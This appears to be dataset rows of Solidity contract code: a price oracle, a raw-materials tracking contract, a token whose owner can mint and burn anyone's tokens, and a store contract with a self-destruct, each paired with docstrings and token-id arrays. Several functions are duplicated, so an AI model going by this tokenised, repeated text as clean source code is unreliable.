"PriceOracle.removePair: Pair doesn't exist."
);
IOracle oldOracle = oracles[_assetOne][_assetTwo];
delete oracles[_assetOne][_assetTwo];
emit PairRemoved(_assetOne, _assetTwo, address(oldOracle));
}
/**
* GOVERNANCE FUNCTION: Add new oracle adapter.
*
* @param _adapter Address of new adapter
*/
function addAdapter(address _adapter) external onlyOwner {
require(
!adapters.contains(_adapter),
"PriceOracle.addAdapter: Adapter already exists."
);
adapters.push(_adapter);
emit AdapterAdded(_adapter);
}
/**
* GOVERNANCE FUNCTION: Remove oracle adapter.
*
* @param _adapter Address of adapter to remove
*/
function removeAdapter(address _adapter) external onlyOwner {
require(
adapters.contains(_adapter),
"PriceOracle.removeAdapter: Adapter does not exist."
);
adapters = adapters.remove(_adapter);
emit AdapterRemoved(_adapter);
}
/**
* GOVERNANCE FUNCTION: Change the master quote asset.
*
* @param _newMasterQuoteAsset New address of master quote asset
*/
function editMasterQuoteAsset(address _newMasterQuoteAsset) external onlyOwner {
masterQuoteAsset = _newMasterQuoteAsset;
emit MasterQuoteAssetEdited(_newMasterQuoteAsset);
}
/* ============ External View Functions ============ */
/**
* Returns an array of adapters
*/
function getAdapters() external view returns (address[] memory) {
return adapters;
}
/* ============ Internal Functions ============ */
/**
* Check if direct or inverse oracle exists. If so return that price along with boolean indicating
* it exists. Otherwise return boolean indicating oracle doesn't exist.
*
* @param _assetOne Address of first asset in pair
* @param _assetTwo Address of second asset in pair
* @return bool Boolean indicating if oracle exists
* @return uint256 Price of asset pair to 18 decimal precision (if exists, otherwise 0)
*/
function _getDirectOrInversePrice(
address _assetOne,
address _assetTwo
)
internal
view
returns (bool, uint256)
{
IOracle directOracle = oracles[_assetOne][_assetTwo];
bool hasDirectOracle = address(directOracle) != address(0);
// Check asset1 -> asset 2. If exists, then return value
if (hasDirectOracle) {
return (true, directOracle.read());
}
IOracle inverseOracle = oracles[_assetTwo][_assetOne];
bool hasInverseOracle = address(inverseOracle) != address(0);
// If not, check asset 2 -> asset 1. If exists, then return 1 / asset1 -> asset2
if (hasInverseOracle) {
return (true, _calculateInversePrice(inverseOracle));
}
return (false, 0);
}
/**
* Try to calculate asset pair price by getting each asset in the pair's price relative to master
* quote asset. Both prices must exist otherwise function returns false and no price.
*
* @param _assetOne Address of first asset in pair
* @param _assetTwo Address of second asset in pair
* @return bool Boolean indicating if oracle exists
* @return uint256 Price of asset pair to 18 decimal precision (if exists, otherwise 0)
*/
function _getPriceFromMasterQuote(
address _assetOne,
address _assetTwo
)
internal
view
returns (bool, uint256)
{
(
bool priceFoundOne,
uint256 assetOnePrice
) = _getDirectOrInversePrice(_assetOne, masterQuoteAsset);
(
bool priceFoundTwo,
uint256 assetTwoPrice
) = _getDirectOrInversePrice(_assetTwo, masterQuoteAsset);
if (priceFoundOne && priceFoundTwo) {
return (true, assetOnePrice.preciseDiv(assetTwoPrice));
}
return (false, 0);
}
/**
* Scan adapters to see if one or more of the assets needs external protocol data to be priced. If
* does not exist return false and no price.
*
* @param _assetOne Address of first asset in pair
* @param _assetTwo Address of second asset in pair
* @return bool Boolean indicating if oracle exists
* @return uint256 Price of asset pair to 18 decimal precision (if exists, otherwise 0)
*/
function _getPriceFromAdapters(
address _assetOne,
address _assetTwo
)
internal
view
returns (bool, uint256)
{
for (uint256 i = 0; i < adapters.length; i++) {
(
bool priceFound,
uint256 price
) = IOracleAdapter(adapters[i]).getPrice(_assetOne, _assetTwo);
if (priceFound) {
return (priceFound, price);
}
}
return (false, 0);
}
/**
* Calculate inverse price of passed oracle. The inverse price is 1 (or 1e18) / inverse price
*
* @param _inverseOracle Address of oracle to invert
* @return uint256 Inverted price of asset pair to 18 decimal precision
*/
function _calculateInversePrice(IOracle _inverseOracle) internal view returns(uint256) {
uint256 inverseValue = _inverseOracle.read();
return PreciseUnitMath.preciseUnit().preciseDiv(inverseValue);
}
}
| * @title PriceOracle @author Set Protocol Contract that returns the price for any given asset pair. Price is retrieved either directly from an oracle, calculated using common asset pairs, or uses external data to calculate price. Note: Prices are returned in preciseUnits (i.e. 18 decimals of precision)/ Address of the Controller contract Mapping between assetA/assetB and its associated Price Oracle Asset 1 -> Asset 2 -> IOracle Interface Token address of the bridge asset that prices are derived from if the specified pair price is missing List of IOracleAdapters used to return prices of third party protocols (e.g. Uniswap, Compound, Balancer) | contract PriceOracle is Ownable {
using PreciseUnitMath for uint256;
using AddressArrayUtils for address[];
event PairAdded(address indexed _assetOne, address indexed _assetTwo, address _oracle);
event PairRemoved(address indexed _assetOne, address indexed _assetTwo, address _oracle);
event PairEdited(address indexed _assetOne, address indexed _assetTwo, address _newOracle);
event AdapterAdded(address _adapter);
event AdapterRemoved(address _adapter);
event MasterQuoteAssetEdited(address _newMasterQuote);
IController public controller;
mapping(address => mapping(address => IOracle)) public oracles;
address public masterQuoteAsset;
address[] public adapters;
constructor(
IController _controller,
address _masterQuoteAsset,
address[] memory _adapters,
address[] memory _assetOnes,
address[] memory _assetTwos,
IOracle[] memory _oracles
)
public
Copyright 2020 Set Labs Inc.
{
controller = _controller;
masterQuoteAsset = _masterQuoteAsset;
adapters = _adapters;
require(
_assetOnes.length == _assetTwos.length && _assetTwos.length == _oracles.length,
"Array lengths do not match."
);
for (uint256 i = 0; i < _assetOnes.length; i++) {
oracles[_assetOnes[i]][_assetTwos[i]] = _oracles[i];
}
}
{
controller = _controller;
masterQuoteAsset = _masterQuoteAsset;
adapters = _adapters;
require(
_assetOnes.length == _assetTwos.length && _assetTwos.length == _oracles.length,
"Array lengths do not match."
);
for (uint256 i = 0; i < _assetOnes.length; i++) {
oracles[_assetOnes[i]][_assetTwos[i]] = _oracles[i];
}
}
function getPrice(address _assetOne, address _assetTwo) external view returns (uint256) {
require(
controller.isSystemContract(msg.sender),
"PriceOracle.getPrice: Caller must be system contract."
);
bool priceFound;
uint256 price;
(priceFound, price) = _getDirectOrInversePrice(_assetOne, _assetTwo);
if (!priceFound) {
(priceFound, price) = _getPriceFromMasterQuote(_assetOne, _assetTwo);
}
if (!priceFound) {
(priceFound, price) = _getPriceFromAdapters(_assetOne, _assetTwo);
}
require(priceFound, "PriceOracle.getPrice: Price not found.");
return price;
}
function getPrice(address _assetOne, address _assetTwo) external view returns (uint256) {
require(
controller.isSystemContract(msg.sender),
"PriceOracle.getPrice: Caller must be system contract."
);
bool priceFound;
uint256 price;
(priceFound, price) = _getDirectOrInversePrice(_assetOne, _assetTwo);
if (!priceFound) {
(priceFound, price) = _getPriceFromMasterQuote(_assetOne, _assetTwo);
}
if (!priceFound) {
(priceFound, price) = _getPriceFromAdapters(_assetOne, _assetTwo);
}
require(priceFound, "PriceOracle.getPrice: Price not found.");
return price;
}
function getPrice(address _assetOne, address _assetTwo) external view returns (uint256) {
require(
controller.isSystemContract(msg.sender),
"PriceOracle.getPrice: Caller must be system contract."
);
bool priceFound;
uint256 price;
(priceFound, price) = _getDirectOrInversePrice(_assetOne, _assetTwo);
if (!priceFound) {
(priceFound, price) = _getPriceFromMasterQuote(_assetOne, _assetTwo);
}
if (!priceFound) {
(priceFound, price) = _getPriceFromAdapters(_assetOne, _assetTwo);
}
require(priceFound, "PriceOracle.getPrice: Price not found.");
return price;
}
function addPair(address _assetOne, address _assetTwo, IOracle _oracle) external onlyOwner {
require(
address(oracles[_assetOne][_assetTwo]) == address(0),
"PriceOracle.addPair: Pair already exists."
);
oracles[_assetOne][_assetTwo] = _oracle;
emit PairAdded(_assetOne, _assetTwo, address(_oracle));
}
function editPair(address _assetOne, address _assetTwo, IOracle _oracle) external onlyOwner {
require(
address(oracles[_assetOne][_assetTwo]) != address(0),
"PriceOracle.editPair: Pair doesn't exist."
);
oracles[_assetOne][_assetTwo] = _oracle;
emit PairEdited(_assetOne, _assetTwo, address(_oracle));
}
function removePair(address _assetOne, address _assetTwo) external onlyOwner {
require(
address(oracles[_assetOne][_assetTwo]) != address(0),
"PriceOracle.removePair: Pair doesn't exist."
);
IOracle oldOracle = oracles[_assetOne][_assetTwo];
delete oracles[_assetOne][_assetTwo];
emit PairRemoved(_assetOne, _assetTwo, address(oldOracle));
}
function addAdapter(address _adapter) external onlyOwner {
require(
!adapters.contains(_adapter),
"PriceOracle.addAdapter: Adapter already exists."
);
adapters.push(_adapter);
emit AdapterAdded(_adapter);
}
function removeAdapter(address _adapter) external onlyOwner {
require(
adapters.contains(_adapter),
"PriceOracle.removeAdapter: Adapter does not exist."
);
adapters = adapters.remove(_adapter);
emit AdapterRemoved(_adapter);
}
function editMasterQuoteAsset(address _newMasterQuoteAsset) external onlyOwner {
masterQuoteAsset = _newMasterQuoteAsset;
emit MasterQuoteAssetEdited(_newMasterQuoteAsset);
}
function getAdapters() external view returns (address[] memory) {
return adapters;
}
function _getDirectOrInversePrice(
address _assetOne,
address _assetTwo
)
internal
view
returns (bool, uint256)
{
IOracle directOracle = oracles[_assetOne][_assetTwo];
bool hasDirectOracle = address(directOracle) != address(0);
if (hasDirectOracle) {
return (true, directOracle.read());
}
IOracle inverseOracle = oracles[_assetTwo][_assetOne];
bool hasInverseOracle = address(inverseOracle) != address(0);
if (hasInverseOracle) {
return (true, _calculateInversePrice(inverseOracle));
}
return (false, 0);
}
function _getDirectOrInversePrice(
address _assetOne,
address _assetTwo
)
internal
view
returns (bool, uint256)
{
IOracle directOracle = oracles[_assetOne][_assetTwo];
bool hasDirectOracle = address(directOracle) != address(0);
if (hasDirectOracle) {
return (true, directOracle.read());
}
IOracle inverseOracle = oracles[_assetTwo][_assetOne];
bool hasInverseOracle = address(inverseOracle) != address(0);
if (hasInverseOracle) {
return (true, _calculateInversePrice(inverseOracle));
}
return (false, 0);
}
function _getDirectOrInversePrice(
address _assetOne,
address _assetTwo
)
internal
view
returns (bool, uint256)
{
IOracle directOracle = oracles[_assetOne][_assetTwo];
bool hasDirectOracle = address(directOracle) != address(0);
if (hasDirectOracle) {
return (true, directOracle.read());
}
IOracle inverseOracle = oracles[_assetTwo][_assetOne];
bool hasInverseOracle = address(inverseOracle) != address(0);
if (hasInverseOracle) {
return (true, _calculateInversePrice(inverseOracle));
}
return (false, 0);
}
function _getPriceFromMasterQuote(
address _assetOne,
address _assetTwo
)
internal
view
returns (bool, uint256)
{
(
bool priceFoundOne,
uint256 assetOnePrice
) = _getDirectOrInversePrice(_assetOne, masterQuoteAsset);
(
bool priceFoundTwo,
uint256 assetTwoPrice
) = _getDirectOrInversePrice(_assetTwo, masterQuoteAsset);
if (priceFoundOne && priceFoundTwo) {
return (true, assetOnePrice.preciseDiv(assetTwoPrice));
}
return (false, 0);
}
function _getPriceFromMasterQuote(
address _assetOne,
address _assetTwo
)
internal
view
returns (bool, uint256)
{
(
bool priceFoundOne,
uint256 assetOnePrice
) = _getDirectOrInversePrice(_assetOne, masterQuoteAsset);
(
bool priceFoundTwo,
uint256 assetTwoPrice
) = _getDirectOrInversePrice(_assetTwo, masterQuoteAsset);
if (priceFoundOne && priceFoundTwo) {
return (true, assetOnePrice.preciseDiv(assetTwoPrice));
}
return (false, 0);
}
function _getPriceFromAdapters(
address _assetOne,
address _assetTwo
)
internal
view
returns (bool, uint256)
{
for (uint256 i = 0; i < adapters.length; i++) {
(
bool priceFound,
uint256 price
) = IOracleAdapter(adapters[i]).getPrice(_assetOne, _assetTwo);
if (priceFound) {
return (priceFound, price);
}
}
return (false, 0);
}
function _getPriceFromAdapters(
address _assetOne,
address _assetTwo
)
internal
view
returns (bool, uint256)
{
for (uint256 i = 0; i < adapters.length; i++) {
(
bool priceFound,
uint256 price
) = IOracleAdapter(adapters[i]).getPrice(_assetOne, _assetTwo);
if (priceFound) {
return (priceFound, price);
}
}
return (false, 0);
}
function _getPriceFromAdapters(
address _assetOne,
address _assetTwo
)
internal
view
returns (bool, uint256)
{
for (uint256 i = 0; i < adapters.length; i++) {
(
bool priceFound,
uint256 price
) = IOracleAdapter(adapters[i]).getPrice(_assetOne, _assetTwo);
if (priceFound) {
return (priceFound, price);
}
}
return (false, 0);
}
function _calculateInversePrice(IOracle _inverseOracle) internal view returns(uint256) {
uint256 inverseValue = _inverseOracle.read();
return PreciseUnitMath.preciseUnit().preciseDiv(inverseValue);
}
}
| 5,415,422 | [
1,
5147,
23601,
225,
1000,
4547,
13456,
716,
1135,
326,
6205,
364,
1281,
864,
3310,
3082,
18,
20137,
353,
10295,
3344,
5122,
628,
392,
20865,
16,
8894,
1450,
2975,
3310,
5574,
16,
578,
4692,
3903,
501,
358,
4604,
6205,
18,
3609,
30,
2301,
1242,
854,
2106,
316,
31293,
7537,
261,
77,
18,
73,
18,
6549,
15105,
434,
6039,
13176,
5267,
434,
326,
6629,
6835,
9408,
3086,
3310,
37,
19,
9406,
38,
471,
2097,
3627,
20137,
28544,
10494,
404,
317,
10494,
576,
317,
1665,
16873,
6682,
3155,
1758,
434,
326,
10105,
3310,
716,
19827,
854,
10379,
628,
309,
326,
1269,
3082,
6205,
353,
3315,
987,
434,
1665,
16873,
26620,
1399,
358,
327,
19827,
434,
12126,
18285,
16534,
261,
73,
18,
75,
18,
1351,
291,
91,
438,
16,
21327,
16,
605,
5191,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
20137,
23601,
353,
14223,
6914,
288,
203,
565,
1450,
2962,
30708,
2802,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
5267,
1076,
1989,
364,
1758,
8526,
31,
203,
203,
203,
565,
871,
8599,
8602,
12,
2867,
8808,
389,
9406,
3335,
16,
1758,
8808,
389,
9406,
11710,
16,
1758,
389,
280,
16066,
1769,
203,
565,
871,
8599,
10026,
12,
2867,
8808,
389,
9406,
3335,
16,
1758,
8808,
389,
9406,
11710,
16,
1758,
389,
280,
16066,
1769,
203,
565,
871,
8599,
4666,
329,
12,
2867,
8808,
389,
9406,
3335,
16,
1758,
8808,
389,
9406,
11710,
16,
1758,
389,
2704,
23601,
1769,
203,
565,
871,
14238,
8602,
12,
2867,
389,
10204,
1769,
203,
565,
871,
14238,
10026,
12,
2867,
389,
10204,
1769,
203,
565,
871,
13453,
10257,
6672,
4666,
329,
12,
2867,
389,
2704,
7786,
10257,
1769,
203,
203,
203,
565,
467,
2933,
1071,
2596,
31,
203,
203,
565,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
1665,
16873,
3719,
1071,
578,
69,
9558,
31,
203,
203,
565,
1758,
1071,
4171,
10257,
6672,
31,
203,
203,
565,
1758,
8526,
1071,
17272,
31,
203,
203,
203,
565,
3885,
12,
203,
3639,
467,
2933,
389,
5723,
16,
203,
3639,
1758,
389,
7525,
10257,
6672,
16,
203,
3639,
1758,
8526,
3778,
389,
19195,
414,
16,
203,
3639,
1758,
8526,
3778,
389,
9406,
1398,
281,
16,
203,
3639,
1758,
8526,
3778,
389,
9406,
23539,
538,
16,
203,
3639,
1665,
16873,
8526,
3778,
389,
10610,
9558,
203,
565,
262,
203,
3639,
1071,
203,
565,
25417,
26599,
20,
1000,
511,
5113,
15090,
2
] |
pragma solidity >=0.4.25 <0.6.0;
/********************************************** RawMatrials ******************************************/
/// @title RawMatrials
/// @notice
/// @dev Create new instance of RawMatrials package
contract RawMatrials {
/// @notice
address Owner;
enum packageStatus { atcreator, received}
/// @notice
address productid;
/// @notice
bytes32 description;
/// @notice
bytes32 factory_name;
/// @notice
bytes32 location;
/// @notice
uint quantity;
/// @notice
address manufacturer;
/// @notice
address supplier;
/// @notice
packageStatus status;
/// @notice
bytes32 packageReceiverDescription;
/// @notice
/// @dev Intiate New Package of RawMatrials by Supplier
/// @param Splr Supplier Ethereum Network Address
/// @param Des Description of RawMatrials
/// @param FN Factory Name
/// @param Loc Factory Location
/// @param Quant Number of units in a package
/// @param Rcvr Manufacturer Ethereum Network Address
constructor (
address Splr,
bytes32 Des,
bytes32 FN,
bytes32 Loc,
uint Quant,
address Rcvr
) public {
Owner = Splr;
productid = address(this);
description = Des;
factory_name = FN;
location = Loc;
quantity = Quant;
manufacturer = Rcvr;
supplier = Splr;
status = packageStatus(0);
}
/// @notice
/// @dev Get RawMatrials Package Details
/// @return Package Details
function getSuppliedRawMatrials () public view returns(
bytes32 Des,
bytes32 FN,
bytes32 Loc,
uint Quant,
address Rcvr,
address Splr
) {
return(
description,
factory_name,
location,
quantity,
manufacturer,
supplier
);
}
/// @notice
/// @dev Get Package Transaction Status
/// @return Package Status
function getRawMatrialsStatus() public view returns(
uint
) {
return uint(status);
}
/// @notice
/// @dev Received Package Status Update By Associated Manufacturer
/// @param manu Manufacturer Ethereum Network Address
function receivedPackage(
address manu
) public {
require(
manu == manufacturer,
"Only Associate Manufacturer can call this function"
);
require(
status == packageStatus(0),
"Product not picked up yet"
);
status = packageStatus(1);
}
}
| @notice @notice @notice @notice @notice @notice @notice @notice @notice @notice @dev Intiate New Package of RawMatrials by Supplier @param Splr Supplier Ethereum Network Address @param Des Description of RawMatrials @param FN Factory Name @param Loc Factory Location @param Quant Number of units in a package @param Rcvr Manufacturer Ethereum Network Address | ) public {
Owner = Splr;
productid = address(this);
description = Des;
factory_name = FN;
location = Loc;
quantity = Quant;
manufacturer = Rcvr;
supplier = Splr;
status = packageStatus(0);
}
| 15,829,975 | [
1,
1702,
3840,
1166,
7508,
434,
6576,
15947,
566,
1031,
635,
17216,
225,
11484,
86,
17216,
512,
18664,
379,
5128,
5267,
225,
10597,
6507,
434,
6576,
15947,
566,
1031,
225,
27103,
7822,
1770,
225,
2851,
7822,
7050,
225,
4783,
970,
3588,
434,
4971,
316,
279,
2181,
225,
534,
71,
18090,
8660,
13019,
512,
18664,
379,
5128,
5267,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
262,
1071,
288,
203,
3639,
16837,
273,
11484,
86,
31,
203,
3639,
3017,
350,
273,
1758,
12,
2211,
1769,
203,
3639,
2477,
273,
10597,
31,
203,
3639,
3272,
67,
529,
273,
27103,
31,
203,
3639,
2117,
273,
2851,
31,
203,
3639,
10457,
273,
4783,
970,
31,
203,
3639,
23803,
273,
534,
71,
18090,
31,
203,
3639,
17402,
273,
11484,
86,
31,
203,
3639,
1267,
273,
2181,
1482,
12,
20,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/42/0xd5898E4a3F06ABf154e9F614E3303A4685b32906/sources/H2O.sol | PickleToken with Governance. | contract H2O is ERC20("ysH2O", "ysH2O"), Ownable {
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
function burn(address _from, uint256 _amnt) public onlyOwner {
_burn(_from, _amnt);
}
}
| 8,993,778 | [
1,
17968,
298,
1345,
598,
611,
1643,
82,
1359,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
670,
22,
51,
353,
4232,
39,
3462,
2932,
1900,
44,
22,
51,
3113,
315,
1900,
44,
22,
51,
6,
3631,
14223,
6914,
288,
203,
565,
445,
312,
474,
12,
2867,
389,
869,
16,
2254,
5034,
389,
8949,
13,
1071,
1338,
5541,
288,
203,
3639,
389,
81,
474,
24899,
869,
16,
389,
8949,
1769,
203,
565,
289,
203,
282,
445,
18305,
12,
2867,
389,
2080,
16,
2254,
5034,
389,
301,
496,
13,
1071,
1338,
5541,
288,
203,
3639,
389,
70,
321,
24899,
2080,
16,
389,
301,
496,
1769,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/* A contract to store a list of messages. Obtainable as events. */
contract store {
address owner;
uint16 public contentCount = 0;
event content(string datainfo, address sender, uint payment);
modifier onlyowner { if (msg.sender == owner) _ }
function store() public { owner = msg.sender; }
///TODO: remove in release
function kill() onlyowner { suicide(owner); }
function flush() onlyowner {
owner.send(this.balance);
}
function add(string datainfo) {
contentCount++;
content(datainfo, msg.sender, msg.value);
}
} | TODO: remove in release | function kill() onlyowner { suicide(owner); }
| 952,188 | [
1,
6241,
30,
1206,
316,
3992,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
8673,
1435,
1338,
8443,
288,
1597,
335,
831,
12,
8443,
1769,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
